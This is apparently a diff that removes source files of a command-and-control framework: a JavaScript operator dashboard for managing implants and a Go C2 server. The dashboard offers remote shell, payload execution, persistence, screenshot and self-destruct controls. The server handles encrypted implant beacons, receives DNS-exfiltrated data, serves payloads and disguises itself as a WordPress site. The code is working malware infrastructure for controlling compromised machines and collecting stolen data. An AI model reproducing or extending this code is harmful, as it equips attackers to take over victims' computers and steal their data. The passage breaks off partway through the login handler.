|
||||
var statusBadgeHtml = online ? '<span class="badge badge-green">ONLINE</span>' : '<span class="badge badge-gray">OFFLINE</span>';
|
||||
var jitterStr = (im.jitter_score != null) ? im.jitter_score.toFixed(2) : '1.00';
|
||||
var procStr = im.target_proc || 'unknown';
|
||||
var hostStr = im.hostname || '?';
|
||||
|
||||
var actionsHtml = '<button class="btn btn-sm" onclick="event.stopPropagation();quickAction(\'' + im.id + '\',\'recon\')">recon</button>';
|
||||
|
||||
rows = rows + '<tr class="clickable ' + rowClass + '" onclick="showImplantDetail(\'' + im.id + '\')">' +
|
||||
'<td>' + escHtml(im.id.substring(0,10)) + '</td>' +
|
||||
'<td>' + escHtml(im.type || '?') + '</td>' +
|
||||
'<td>' + escHtml(procStr) + '</td>' +
|
||||
'<td>' + escHtml(hostStr) + '</td>' +
|
||||
'<td>' + jitterStr + '</td>' +
|
||||
'<td>' + (im.dns_enabled ? 'Y' : 'N') + '</td>' +
|
||||
'<td>' + (im.mesh_enabled ? 'Y' : 'N') + '</td>' +
|
||||
'<td>' + statusBadgeHtml + '</td>' +
|
||||
'<td>' + ago(im.last_seen) + '</td>' +
|
||||
'</tr>';
|
||||
}
|
||||
}
|
||||
|
||||
return '<div style="margin-bottom:14px;display:flex;gap:8px;align-items:center;flex-wrap:wrap">' +
|
||||
'<input class="search-box" type="text" placeholder="search implants..." value="' + escHtml(search) + '" oninput="window._impSearch=this.value;render()">' +
|
||||
'<select class="filter-select" onchange="window._impFilter=this.value;render()">' +
|
||||
'<option value="">all implants</option>' +
|
||||
'<option value="online"' + (filter==='online'?' selected':'') + '>online</option>' +
|
||||
'<option value="offline"' + (filter==='offline'?' selected':'') + '>offline</option>' +
|
||||
'<option value="flagged"' + (filter==='flagged'?' selected':'') + '>flagged</option>' +
|
||||
'<option value="dns"' + (filter==='dns'?' selected':'') + '>dns</option>' +
|
||||
'</select>' +
|
||||
'<span style="color:#444;font-size:10px;margin-left:auto">' + filtered.length + ' / ' + implantsCache.length + ' shown</span>' +
|
||||
'</div>' +
|
||||
'<div class="table-wrap"><table>' +
|
||||
'<tr><th>ID</th><th>Type</th><th>Process</th><th>Host</th><th>Jitter</th><th>DNS</th><th>Mesh</th><th>Status</th><th>Last Seen</th></tr>' +
|
||||
rows +
|
||||
'</table></div>';
|
||||
}
|
||||
|
||||
// ---- Implant Detail ----
|
||||
|
||||
function renderImplantDetail(id) {
|
||||
// Find implant in cache
|
||||
var im = null;
|
||||
for (var i = 0; i < implantsCache.length; i++) {
|
||||
if (implantsCache[i].id === id) { im = implantsCache[i]; break; }
|
||||
}
|
||||
|
||||
if (!im) {
|
||||
return '<div class="back-link" onclick="backToImplants()">< back to implants</div><div class="loading">implant not found</div>';
|
||||
}
|
||||
|
||||
var online = isOnline(im.last_seen);
|
||||
var onlineStr = online ? 'ONLINE' : 'OFFLINE';
|
||||
var onlineClass = online ? 'badge-green' : 'badge-gray';
|
||||
var jitterStr = (im.jitter_score != null) ? im.jitter_score.toFixed(2) : '1.00';
|
||||
var firstSeen = im.first_seen ? fmtTime(im.first_seen) : '-';
|
||||
var lastSeen = im.last_seen ? fmtTime(im.last_seen) : '-';
|
||||
var lastSeenAgo = ago(im.last_seen);
|
||||
|
||||
// We need to load tasks for this implant (pending ones)
|
||||
// We'll fetch them asynchronously and fill in later
|
||||
var taskSection = '<div class="loading" id="task-loading">loading tasks...</div>';
|
||||
|
||||
// Build the detail panels
|
||||
return '<div class="back-link" onclick="backToImplants()">< back to implants</div>' +
|
||||
|
||||
// Implant header
|
||||
'<div class="card" style="margin-bottom:16px">' +
|
||||
'<div class="card-header"><h3>' + escHtml(im.id.substring(0,16)) + '</h3>' +
|
||||
'<div>' + (im.flagged ? flaggedBadge() + ' ' : '') + '<span class="badge ' + onlineClass + '">' + onlineStr + '</span></div>' +
|
||||
'</div>' +
|
||||
'<div class="card-body">' +
|
||||
'<div class="stats-grid">' +
|
||||
'<div class="stat-card"><div class="stat-label">Type</div><div class="stat-value" style="font-size:14px">' + escHtml(im.type || '-') + '</div></div>' +
|
||||
'<div class="stat-card"><div class="stat-label">Hostname</div><div class="stat-value" style="font-size:14px">' + escHtml(im.hostname || '-') + '</div></div>' +
|
||||
'<div class="stat-card"><div class="stat-label">Process</div><div class="stat-value" style="font-size:14px">' + escHtml(im.target_proc || '-') + '</div></div>' +
|
||||
'<div class="stat-card"><div class="stat-label">Arch</div><div class="stat-value" style="font-size:14px">' + escHtml(im.arch || '-') + '</div></div>' +
|
||||
'<div class="stat-card"><div class="stat-label">Beacons</div><div class="stat-value">' + (im.beacon_count || 0) + '</div></div>' +
|
||||
'<div class="stat-card"><div class="stat-label">Tasks (sent/done)</div><div class="stat-value">' + (im.tasks_sent || 0) + ' / ' + (im.tasks_done || 0) + '</div></div>' +
|
||||
'<div class="stat-card"><div class="stat-label">Jitter Score</div><div class="stat-value">' + jitterStr + '</div></div>' +
|
||||
'<div class="stat-card"><div class="stat-label">Node ID</div><div class="stat-value" style="font-size:12px">' + escHtml(im.node_id || '-') + '</div></div>' +
|
||||
'<div class="stat-card"><div class="stat-label">First Seen</div><div class="stat-value" style="font-size:11px;color:#888">' + firstSeen + '</div></div>' +
|
||||
'<div class="stat-card"><div class="stat-label">Last Seen</div><div class="stat-value" style="font-size:11px;color:#888">' + lastSeen + '</div><div class="stat-sub">' + lastSeenAgo + '</div></div>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
|
||||
// Tab navigation
|
||||
'<div class="detail-tabs">' +
|
||||
'<div class="detail-tab active" onclick="switchDetailTab(this,\'shell\')" id="dtab-shell">shell</div>' +
|
||||
'<div class="detail-tab" onclick="switchDetailTab(this,\'tasks\')" id="dtab-tasks">tasks</div>' +
|
||||
'<div class="detail-tab" onclick="switchDetailTab(this,\'payload\')" id="dtab-payload">payload</div>' +
|
||||
'<div class="detail-tab" onclick="switchDetailTab(this,\'actions\')" id="dtab-actions">actions</div>' +
|
||||
'</div>' +
|
||||
|
||||
// Shell panel
|
||||
'<div class="detail-panel active" id="panel-shell">' +
|
||||
'<div class="card">' +
|
||||
'<div class="card-header"><h3>Interactive Shell</h3></div>' +
|
||||
'<div class="card-body">' +
|
||||
'<div class="shell-output" id="shell-output"></div>' +
|
||||
'<div class="shell-input-row">' +
|
||||
'<input type="text" id="shell-input" placeholder="whoami, ls, ipconfig, ..." onkeydown="if(event.key==\'Enter\')sendShellCommand(\'' + id + '\')">' +
|
||||
'<button class="btn" onclick="sendShellCommand(\'' + id + '\')">send</button>' +
|
||||
'<button class="btn btn-sm" onclick="document.getElementById(\'shell-output\').innerHTML=\'\'">clear</button>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
|
||||
// Tasks panel
|
||||
'<div class="detail-panel" id="panel-tasks">' +
|
||||
'<div class="card">' +
|
||||
'<div class="card-header"><h3>Pending Tasks</h3><div><button class="btn btn-sm" onclick="refreshTaskList(\'' + id + '\')">refresh</button></div></div>' +
|
||||
'<div class="card-body">' +
|
||||
'<div id="tasks-container">' + taskSection + '</div>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'<div class="card">' +
|
||||
'<div class="card-header"><h3>Custom Task</h3></div>' +
|
||||
'<div class="card-body">' +
|
||||
'<div style="display:flex;gap:8px;flex-wrap:wrap;align-items:end">' +
|
||||
'<div style="flex:1;min-width:120px"><label style="display:block;color:#555;font-size:9px;letter-spacing:1px;margin-bottom:3px">TYPE</label><input type="text" id="custom-task-type" value="shell" style="background:#111;border:1px solid #1a3a1a;color:#c0c0c0;padding:6px 8px;font-family:Courier New,monospace;font-size:11px;width:100%;outline:none"></div>' +
|
||||
'<div style="flex:2;min-width:180px"><label style="display:block;color:#555;font-size:9px;letter-spacing:1px;margin-bottom:3px">PAYLOAD (JSON)</label><input type="text" id="custom-task-payload" value=\'{"command":"whoami"}\' style="background:#111;border:1px solid #1a3a1a;color:#c0c0c0;padding:6px 8px;font-family:Courier New,monospace;font-size:11px;width:100%;outline:none"></div>' +
|
||||
'<div><button class="btn" onclick="sendCustomTask(\'' + id + '\')" style="margin-top:12px">queue task</button></div>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
|
||||
// Payload panel
|
||||
'<div class="detail-panel" id="panel-payload">' +
|
||||
'<div class="card">' +
|
||||
'<div class="card-header"><h3>Execute Payload</h3></div>' +
|
||||
'<div class="card-body">' +
|
||||
'<div class="payload-form">' +
|
||||
'<select id="payload-select">' +
|
||||
'<option value="">-- select payload --</option>' +
|
||||
(payloadsCache.map(function(p) {
|
||||
return '<option value="' + escHtml(p.name || p.file) + '">' + escHtml(p.name || p.file) + (p.category ? ' [' + p.category + ']' : '') + '</option>';
|
||||
}).join('')) +
|
||||
'</select>' +
|
||||
'<input type="text" id="payload-args" placeholder=\'{"args":"val"}\'>' +
|
||||
'<button class="btn" onclick="runPayload(\'' + id + '\', document.getElementById(\'payload-select\').value, document.getElementById(\'payload-args\').value)">execute</button>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'<div class="card">' +
|
||||
'<div class="card-header"><h3>Available Payloads</h3></div>' +
|
||||
'<div class="card-body">' +
|
||||
(payloadsCache.length === 0 ? '<p style="color:#444;font-size:11px">no payloads available</p>' :
|
||||
'<div class="table-wrap"><table><tr><th>Name</th><th>Category</th><th>Description</th><th>Platform</th><th>File</th></tr>' +
|
||||
payloadsCache.map(function(p) {
|
||||
return '<tr><td>' + escHtml(p.name) + '</td><td>' + escHtml(p.category||'-') + '</td><td>' + escHtml(p.desc||'-') + '</td><td>' + escHtml(p.platform||'all') + '</td><td>' + escHtml(p.file||'-') + '</td></tr>';
|
||||
}).join('') +
|
||||
'</table></div>') +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
|
||||
// Actions panel
|
||||
'<div class="detail-panel" id="panel-actions">' +
|
||||
'<div class="card">' +
|
||||
'<div class="card-header"><h3>Quick Actions</h3></div>' +
|
||||
'<div class="card-body">' +
|
||||
'<div class="btn-group">' +
|
||||
'<button class="btn" onclick="quickAction(\'' + id + '\',\'recon\')">recon</button>' +
|
||||
'<button class="btn" onclick="quickAction(\'' + id + '\',\'sleep30\')">sleep 30s</button>' +
|
||||
'<button class="btn" onclick="quickAction(\'' + id + '\',\'screenshot\')">screenshot</button>' +
|
||||
'<button class="btn" onclick="quickAction(\'' + id + '\',\'persist\')">persist</button>' +
|
||||
'<button class="btn btn-danger" onclick="if(confirm(\'send self-destruct to this implant?\'))quickAction(\'' + id + '\',\'selfdestruct\')">self-destruct</button>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'<div class="card">' +
|
||||
'<div class="card-header"><h3>Information</h3></div>' +
|
||||
'<div class="card-body">' +
|
||||
'<div class="kv-list">' +
|
||||
'<div class="kv-key">ID</div><div class="kv-val green">' + escHtml(im.id) + '</div>' +
|
||||
'<div class="kv-key">Type</div><div class="kv-val">' + escHtml(im.type || '-') + '</div>' +
|
||||
'<div class="kv-key">Hostname</div><div class="kv-val">' + escHtml(im.hostname || '-') + '</div>' +
|
||||
'<div class="kv-key">Target Process</div><div class="kv-val">' + escHtml(im.target_proc || '-') + '</div>' +
|
||||
'<div class="kv-key">Architecture</div><div class="kv-val">' + escHtml(im.arch || '-') + '</div>' +
|
||||
'<div class="kv-key">DNS Exfil</div><div class="kv-val">' + (im.dns_enabled ? 'enabled' : 'disabled') + '</div>' +
|
||||
'<div class="kv-key">Mesh Routing</div><div class="kv-val">' + (im.mesh_enabled ? 'enabled' : 'disabled') + '</div>' +
|
||||
'<div class="kv-key">Flagged</div><div class="kv-val">' + (im.flagged ? 'yes' : 'no') + '</div>' +
|
||||
'<div class="kv-key">Node ID</div><div class="kv-val">' + escHtml(im.node_id || '-') + '</div>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'<div class="card">' +
|
||||
'<div class="card-header"><h3>Exfil Data</h3><div><button class="btn btn-sm" onclick="showExfilModal(\'' + id + '\')">view exfil</button></div></div>' +
|
||||
'<div class="card-body">' +
|
||||
'<p style="color:#444;font-size:11px">retrieve exfiltrated data from this implant.</p>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'</div>';
|
||||
|
||||
// Init shell panel
|
||||
if (!shellHistory[id]) {
|
||||
shellHistory[id] = [];
|
||||
}
|
||||
}
|
||||
|
||||
function switchDetailTab(el, name) {
|
||||
// Deactivate all tabs and panels
|
||||
var tabs = document.querySelectorAll('.detail-tab');
|
||||
var panels = document.querySelectorAll('.detail-panel');
|
||||
for (var i = 0; i < tabs.length; i++) { tabs[i].classList.remove('active'); }
|
||||
for (var i = 0; i < panels.length; i++) { panels[i].classList.remove('active'); }
|
||||
el.classList.add('active');
|
||||
var panel = document.getElementById('panel-' + name);
|
||||
if (panel) panel.classList.add('active');
|
||||
// Focus shell input if switching to shell
|
||||
if (name === 'shell') {
|
||||
var inp = document.getElementById('shell-input');
|
||||
if (inp) inp.focus();
|
||||
}
|
||||
}
|
||||
|
||||
function refreshTaskList(implantId) {
|
||||
var container = document.getElementById('tasks-container');
|
||||
if (!container) return;
|
||||
container.innerHTML = '<div class="loading">fetching...</div>';
|
||||
|
||||
api('/api/dashboard/tasks/' + implantId).then(function(data) {
|
||||
var tasks = data.tasks || [];
|
||||
var html = '';
|
||||
if (tasks.length === 0) {
|
||||
html = '<p style="color:#444;font-size:11px">no pending tasks</p>';
|
||||
} else {
|
||||
html = '<div class="task-log">';
|
||||
for (var i = 0; i < tasks.length; i++) {
|
||||
var t = tasks[i];
|
||||
html = html + '<div class="task-entry">' +
|
||||
'<span class="task-time">' + (t.ts ? fmtTimeShort(new Date(t.ts*1000)) : '-') + '</span>' +
|
||||
'<span class="task-type">' + escHtml(t.type) + '</span>' +
|
||||
'<span class="task-id">#' + escHtml(t.id.substring(0,12)) + '</span>' +
|
||||
'<span class="task-status status-pending">PENDING</span>' +
|
||||
'</div>';
|
||||
}
|
||||
html = html + '</div>';
|
||||
}
|
||||
container.innerHTML = html;
|
||||
}).catch(function() {
|
||||
container.innerHTML = '<p style="color:#ff4444;font-size:11px">failed to fetch tasks</p>';
|
||||
});
|
||||
}
|
||||
|
||||
// ---- Peers ----
|
||||
|
||||
function renderPeers() {
|
||||
if (peersCache.length === 0) {
|
||||
return '<div class="card"><div class="card-body"><p style="color:#444;font-size:11px;text-align:center;padding:20px">no mesh peers connected</p></div></div>';
|
||||
}
|
||||
|
||||
var rows = '';
|
||||
for (var i = 0; i < peersCache.length; i++) {
|
||||
var p = peersCache[i];
|
||||
rows = rows + '<tr>' +
|
||||
'<td>' + escHtml((p.id||'').substring(0,12)) + '</td>' +
|
||||
'<td>' + escHtml(p.addr || '-') + '</td>' +
|
||||
'<td>' + (p.implants || 0) + '</td>' +
|
||||
'<td>' + ago(p.last_seen) + '</td>' +
|
||||
'<td>' + escHtml(p.version || '?') + '</td>' +
|
||||
'</tr>';
|
||||
}
|
||||
|
||||
var tableHTML = '<div class="table-wrap"><table>' +
|
||||
'<tr><th>ID</th><th>Address</th><th>Implants</th><th>Last Seen</th><th>Version</th></tr>' +
|
||||
rows +
|
||||
'</table></div>';
|
||||
|
||||
var statCards = '<div class="stats-grid">' +
|
||||
'<div class="stat-card"><div class="stat-label">Total Peers</div><div class="stat-value">' + peersCache.length + '</div></div>' +
|
||||
'<div class="stat-card"><div class="stat-label">Total Implants (mesh)</div><div class="stat-value">' + peersCache.reduce(function(s,p){return s+(p.implants||0);},0) + '</div></div>' +
|
||||
'</div>';
|
||||
|
||||
return statCards + tableHTML;
|
||||
}
|
||||
|
||||
// ---- Payloads ----
|
||||
|
||||
function renderPayloads() {
|
||||
if (payloadsCache.length === 0) {
|
||||
return '<div class="card"><div class="card-body"><p style="color:#444;font-size:11px;text-align:center;padding:20px">no payloads available</p></div></div>';
|
||||
}
|
||||
|
||||
var rows = '';
|
||||
for (var i = 0; i < payloadsCache.length; i++) {
|
||||
var p = payloadsCache[i];
|
||||
rows = rows + '<tr>' +
|
||||
'<td>' + escHtml(p.name) + '</td>' +
|
||||
'<td>' + escHtml(p.category||'-') + '</td>' +
|
||||
'<td>' + escHtml(p.desc||'-') + '</td>' +
|
||||
'<td>' + escHtml(p.platform||'all') + '</td>' +
|
||||
'<td>' + escHtml(p.file||'-') + '</td>' +
|
||||
'</tr>';
|
||||
}
|
||||
|
||||
return '<div class="table-wrap"><table>' +
|
||||
'<tr><th>Name</th><th>Category</th><th>Description</th><th>Platform</th><th>File</th></tr>' +
|
||||
rows +
|
||||
'</table></div>';
|
||||
}
|
||||
|
||||
// ---- Init and clock ----
|
||||
|
||||
window.switchDetailTab = switchDetailTab;
|
||||
window.refreshTaskList = refreshTaskList;
|
||||
window.showExfilModal = showExfilModal;
|
||||
window.sendShellCommand = sendShellCommand;
|
||||
window.sendCustomTask = sendCustomTask;
|
||||
window.runPayload = runPayload;
|
||||
window.quickAction = quickAction;
|
||||
window.navigate = navigate;
|
||||
window.showImplantDetail = showImplantDetail;
|
||||
window.backToImplants = backToImplants;
|
||||
window.login = login;
|
||||
window.logout = logout;
|
||||
window.render = render;
|
||||
|
||||
setInterval(updateClock, 1000);
|
||||
render();
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
</html>`
|
||||
@@ -1,675 +0,0 @@
|
||||
// Package api provides the C2 HTTP/2, WebSocket, and REST API server.
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/subtle"
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"html"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/golang-jwt/jwt/v5"
|
||||
"github.com/gorilla/websocket"
|
||||
"golang.org/x/crypto/bcrypt"
|
||||
|
||||
"github.com/saviorSEC/ranger/internal/crypto"
|
||||
"github.com/saviorSEC/ranger/internal/protocol"
|
||||
"github.com/saviorSEC/ranger/internal/store"
|
||||
)
|
||||
|
||||
// Config for the API server.
|
||||
type Config struct {
|
||||
ListenAddr string
|
||||
C2ID string
|
||||
SessionKey []byte
|
||||
TLSEnabled bool
|
||||
TLSCertFile string
|
||||
TLSKeyFile string
|
||||
Store *store.Store
|
||||
DashboardPW string // bcrypt hash for operator dashboard
|
||||
}
|
||||
|
||||
// Server wraps the HTTP/2 + WebSocket C2 server.
|
||||
type Server struct {
|
||||
cfg Config
|
||||
keyPair *crypto.KeyPair
|
||||
upgrader websocket.Upgrader
|
||||
store *store.Store
|
||||
|
||||
// Authenticated dashboard tokens
|
||||
dashTokens map[string]time.Time
|
||||
dashMu sync.Mutex
|
||||
seenNonces map[string]bool
|
||||
nonceMu sync.Mutex
|
||||
|
||||
startTime time.Time
|
||||
}
|
||||
|
||||
// New creates a new API server.
|
||||
func New(cfg Config) (*Server, error) {
|
||||
kp, err := crypto.GenerateKeyPair()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("generate keypair: %w", err)
|
||||
}
|
||||
|
||||
return &Server{
|
||||
cfg: cfg,
|
||||
keyPair: kp,
|
||||
store: cfg.Store,
|
||||
dashTokens: make(map[string]time.Time),
|
||||
seenNonces: make(map[string]bool),
|
||||
startTime: time.Now(),
|
||||
upgrader: websocket.Upgrader{
|
||||
HandshakeTimeout: 10 * time.Second,
|
||||
CheckOrigin: func(r *http.Request) bool { return true },
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Start launches the C2 server.
|
||||
func (s *Server) Start() error {
|
||||
mux := http.NewServeMux()
|
||||
|
||||
// Implant WebSocket channel (primary C2 comms)
|
||||
mux.HandleFunc("/ws", s.handleImplantWS)
|
||||
|
||||
// Implant beacon via POST as fallback
|
||||
mux.HandleFunc("/api/v1/beacon", s.handleImplantBeacon)
|
||||
mux.HandleFunc("/api/v1/result", s.handleImplantResult)
|
||||
|
||||
// DNS exfil reception
|
||||
mux.HandleFunc("/dns/", s.handleDNSReceive)
|
||||
|
||||
// Operator REST API (authenticated)
|
||||
mux.HandleFunc("/api/dashboard/login", s.handleDashboardLogin)
|
||||
mux.HandleFunc("/api/dashboard/implants", s.authMiddleware(s.handleListImplants))
|
||||
mux.HandleFunc("/api/dashboard/implant/", s.authMiddleware(s.handleImplantDetail))
|
||||
mux.HandleFunc("/api/dashboard/task", s.authMiddleware(s.handleCreateTask))
|
||||
mux.HandleFunc("/api/dashboard/tasks/", s.authMiddleware(s.handleImplantTasks))
|
||||
mux.HandleFunc("/api/dashboard/peers", s.authMiddleware(s.handleListPeers))
|
||||
mux.HandleFunc("/api/dashboard/config", s.authMiddleware(s.handleGetConfig))
|
||||
mux.HandleFunc("/api/dashboard/exfil/", s.authMiddleware(s.handleExfilData))
|
||||
|
||||
// Payload serving
|
||||
mux.HandleFunc("/api/v1/payloads/", s.handleServePayload)
|
||||
mux.HandleFunc("/api/dashboard/payloads", s.authMiddleware(s.handleListPayloads))
|
||||
|
||||
// Hidden dashboard UI
|
||||
mux.HandleFunc("/dashboard", s.authMiddleware(s.handleDashboardUI))
|
||||
|
||||
// WordPress mimicry - return 200 with fake WP response
|
||||
mux.HandleFunc("/", s.handleCatchAll)
|
||||
|
||||
srv := &http.Server{
|
||||
Addr: s.cfg.ListenAddr,
|
||||
Handler: mux,
|
||||
}
|
||||
|
||||
// Start HTTP/2 with TLS
|
||||
if s.cfg.TLSEnabled {
|
||||
tlsCfg := &tls.Config{
|
||||
MinVersion: tls.VersionTLS12,
|
||||
NextProtos: []string{"h2", "http/1.1"},
|
||||
}
|
||||
srv.TLSConfig = tlsCfg
|
||||
|
||||
log.Printf("[c2] starting TLS on %s", s.cfg.ListenAddr)
|
||||
return srv.ListenAndServeTLS(s.cfg.TLSCertFile, s.cfg.TLSKeyFile)
|
||||
}
|
||||
|
||||
log.Printf("[c2] starting (plain HTTP) on %s", s.cfg.ListenAddr)
|
||||
return srv.ListenAndServe()
|
||||
}
|
||||
|
||||
// --- Implant WebSocket Handler (Primary C2 Channel) ---
|
||||
|
||||
func (s *Server) handleImplantWS(w http.ResponseWriter, r *http.Request) {
|
||||
conn, err := s.upgrader.Upgrade(w, r, nil)
|
||||
if err != nil {
|
||||
log.Printf("[ws] upgrade: %v", err)
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// Read encrypted beacon
|
||||
_, msg, err := conn.ReadMessage()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
decrypted, err := crypto.DecryptWithAEAD(s.cfg.SessionKey, msg)
|
||||
if err != nil {
|
||||
log.Printf("[ws] decrypt: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
var beacon protocol.BeaconPayload
|
||||
if err := json.Unmarshal(decrypted, &beacon); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if beacon.ID == "" {
|
||||
return
|
||||
}
|
||||
|
||||
// Register implant
|
||||
ir := &protocol.ImplantRecord{
|
||||
ID: beacon.ID,
|
||||
Type: string(beacon.Type),
|
||||
TargetProc: beacon.Target,
|
||||
Hostname: beacon.Hostname,
|
||||
Arch: beacon.Arch,
|
||||
JitterScore: beacon.Jitter,
|
||||
LastSeen: time.Now(),
|
||||
}
|
||||
s.store.UpsertImplant(ir)
|
||||
|
||||
// Get pending tasks
|
||||
tasks, _ := s.store.PendingTasks(beacon.ID)
|
||||
|
||||
// Encrypt and send tasks
|
||||
respJSON, _ := json.Marshal(tasks)
|
||||
encResp, encErr := crypto.EncryptWithAEAD(s.cfg.SessionKey, respJSON)
|
||||
if encErr != nil {
|
||||
return
|
||||
}
|
||||
if err := conn.WriteMessage(websocket.BinaryMessage, encResp); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Read results in a loop
|
||||
for {
|
||||
_, msg, err := conn.ReadMessage()
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
decrypted, err := crypto.DecryptWithAEAD(s.cfg.SessionKey, msg)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
var result protocol.TaskResult
|
||||
if err := json.Unmarshal(decrypted, &result); err != nil {
|
||||
continue
|
||||
}
|
||||
if result.TaskID != "" {
|
||||
s.store.CompleteTask(result.TaskID, &result)
|
||||
}
|
||||
// ACK
|
||||
ack, _ := json.Marshal(map[string]string{"status": "ok"})
|
||||
encAck, _ := crypto.EncryptWithAEAD(s.cfg.SessionKey, ack)
|
||||
conn.WriteMessage(websocket.BinaryMessage, encAck)
|
||||
}
|
||||
}
|
||||
|
||||
// --- Implant REST Handlers (Fallback, AEAD-enveloped) ---
|
||||
|
||||
// openEnvelope decrypts an AEAD envelope {"data":"<b64 nonce||ct>"} with the
|
||||
// shared session key. Rejects plaintext bodies when encryption is enabled.
|
||||
func (s *Server) openEnvelope(body []byte) ([]byte, error) {
|
||||
if len(s.cfg.SessionKey) == 0 {
|
||||
return nil, fmt.Errorf("no session key configured")
|
||||
}
|
||||
var env struct {
|
||||
Data string `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(body, &env); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
raw, err := base64.StdEncoding.DecodeString(env.Data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return crypto.DecryptWithAEAD(s.cfg.SessionKey, raw)
|
||||
}
|
||||
|
||||
func (s *Server) sealEnvelope(v any) ([]byte, error) {
|
||||
payload, err := json.Marshal(v)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
sealed, err := crypto.EncryptWithAEAD(s.cfg.SessionKey, payload)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return json.Marshal(map[string]string{
|
||||
"data": base64.StdEncoding.EncodeToString(sealed),
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) handleImplantBeacon(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", 405)
|
||||
return
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
http.Error(w, "read error", 500)
|
||||
return
|
||||
}
|
||||
plain, err := s.openEnvelope(body)
|
||||
if err != nil {
|
||||
http.Error(w, "unauthorized", 401)
|
||||
return
|
||||
}
|
||||
|
||||
var beacon protocol.BeaconPayload
|
||||
if err := json.Unmarshal(plain, &beacon); err != nil {
|
||||
http.Error(w, "bad request", 400)
|
||||
return
|
||||
}
|
||||
|
||||
if beacon.ID == "" {
|
||||
http.Error(w, "missing id", 400)
|
||||
return
|
||||
}
|
||||
|
||||
ir := &protocol.ImplantRecord{
|
||||
ID: beacon.ID,
|
||||
Type: string(beacon.Type),
|
||||
TargetProc: beacon.Target,
|
||||
Hostname: beacon.Hostname,
|
||||
Arch: beacon.Arch,
|
||||
JitterScore: beacon.Jitter,
|
||||
LastSeen: time.Now(),
|
||||
}
|
||||
s.store.UpsertImplant(ir)
|
||||
|
||||
tasks, _ := s.store.PendingTasks(beacon.ID)
|
||||
sealed, err := s.sealEnvelope(tasks)
|
||||
if err != nil {
|
||||
http.Error(w, "encrypt error", 500)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.Write(sealed)
|
||||
}
|
||||
|
||||
func (s *Server) handleImplantResult(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", 405)
|
||||
return
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
http.Error(w, "read error", 500)
|
||||
return
|
||||
}
|
||||
plain, err := s.openEnvelope(body)
|
||||
if err != nil {
|
||||
http.Error(w, "unauthorized", 401)
|
||||
return
|
||||
}
|
||||
|
||||
var result protocol.TaskResult
|
||||
if err := json.Unmarshal(plain, &result); err != nil {
|
||||
http.Error(w, "bad request", 400)
|
||||
return
|
||||
}
|
||||
|
||||
if result.TaskID != "" {
|
||||
s.store.CompleteTask(result.TaskID, &result)
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]string{"status": "ok"})
|
||||
}
|
||||
|
||||
// --- DNS Reception ---
|
||||
|
||||
func (s *Server) handleDNSReceive(w http.ResponseWriter, r *http.Request) {
|
||||
parts := strings.Split(strings.TrimPrefix(r.URL.Path, "/dns/"), "/")
|
||||
if len(parts) < 2 {
|
||||
http.Error(w, "bad request", 400)
|
||||
return
|
||||
}
|
||||
implantID := parts[0]
|
||||
dataType := parts[1]
|
||||
|
||||
data, err := io.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
http.Error(w, "read error", 500)
|
||||
return
|
||||
}
|
||||
|
||||
s.store.ExfilData(implantID, dataType, "dns", data)
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]string{"status": "ok"})
|
||||
}
|
||||
|
||||
// --- Operator Dashboard (Authenticated REST API) ---
|
||||
|
||||
func (s *Server) handleDashboardLogin(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", 405)
|
||||
return
|
||||
}
|
||||
|
||||
var creds struct {
|
||||
Password string `json:"password"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&creds); err != nil {
|
||||
http.Error(w, "bad request", 400)
|
||||
return
|
||||
}
|
||||
|
||||
// Password check: bcrypt hash when DashboardPW is a $2 hash, otherwise
|
||||
// constant-time compare against the plaintext operator secret.
|
||||
if !s.passwordOK(creds.Password) {
|
||||
http.Error(w, "unauthorized", 401)
